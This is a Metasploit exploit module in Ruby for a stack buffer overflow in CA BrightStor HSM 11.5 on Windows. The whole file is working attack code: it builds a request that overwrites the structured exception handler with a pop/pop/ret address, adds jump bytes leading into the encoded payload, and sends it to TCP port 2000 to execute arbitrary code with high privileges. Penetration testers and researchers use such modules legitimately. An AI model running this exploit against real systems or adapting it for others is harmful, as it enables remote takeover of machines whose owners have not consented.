##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'CA BrightStor HSM Buffer Overflow',
			'Description'    => %q{
				This module exploits one of the multiple stack overflows in Computer Associates BrightStor HSM.
				By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
			},
			'Author'         => [ 'toto' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '25823' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1026,
					'BadChars' => "\x00\x0a\x0d;",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'  =>
					[ 
						# NX can be bypassed by bruteforcing ntdll addresses as the process is restarted
						# pop/pop/ret in fpparser.dll (old from 2004)
						[ 'BrightStor HSM 11.5 Windows All',	{ 'Ret' => 0x12014c78 } ],
					],	
			'DisclosureDate' => 'Sep 27 2007',
			'DefaultTarget' => 0))

			register_options([ Opt::RPORT(2000) ], self.class)	
	end

	def exploit
		connect

		data = 
			[42,7,0,0].pack('VVVV') +
			payload.encoded +
			"\xeb\x06" +
			Rex::Text.rand_text_alphanumeric(2) +
			[ target.ret ].pack('V') +
			"\xe9\xf1\xfb\xff\xff" + 
			Rex::Text.rand_text_alphanumeric(0x100)

		sploit = [data.length + 4].pack('V') + data

		print_status("Trying target #{target.name}...")
         
		sock.put(sploit)
		handler
		disconnect
	end

end